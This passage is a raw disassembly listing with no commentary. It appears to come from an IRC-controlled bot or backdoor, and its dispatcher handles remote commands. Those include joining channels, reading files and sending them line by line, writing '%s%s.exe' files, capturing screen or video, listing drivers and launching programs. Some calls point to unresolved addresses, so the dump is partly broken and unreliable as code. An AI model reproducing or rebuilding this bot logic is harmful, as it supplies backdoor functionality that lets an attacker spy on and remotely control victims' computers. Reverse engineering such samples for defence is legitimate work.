[ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2640BE8h test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 2680000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 26604A7h jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj call near ptr 2660DCFh nop push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 26604A7h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h call near ptr 26604A7h nop jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call near ptr 2660DCFh nop push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h call near ptr 26604A7h nop jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j call near ptr 2660DCFh nop push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 26604A7h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h call near ptr 26604A7h nop jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call near ptr 2660DCFh nop push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 26604A7h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] nop call near ptr 26607A7h test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push 